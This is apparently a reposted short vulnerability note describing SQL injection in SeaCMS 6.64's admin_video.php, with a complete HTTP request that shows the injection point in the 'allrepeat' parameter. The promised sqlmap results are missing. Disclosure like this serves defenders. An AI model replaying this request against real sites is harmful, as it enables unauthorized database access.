Shulou(Shulou.com)06/01 Report--

SeaCMS 6.64 sql injection

Request packet:

Sql injection exists for order parameters

GET / seacms6.64/upload/admin/admin_video.php?repeat=ok&order=v_name&allrepeat=ok' HTTP/1.1

Host: 172.16.173.249

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:61.0) Gecko/20100101 Firefox/61.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Referer: http://172.16.173.203/seacms6.64... E.php?action=repeat

Cookie: PHPSESSID=odsoljsk6cvfkvcgm0i03v8np6

Connection: close

Upgrade-Insecure-Requests: 1

Sqlmap scan results:

Database name:

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.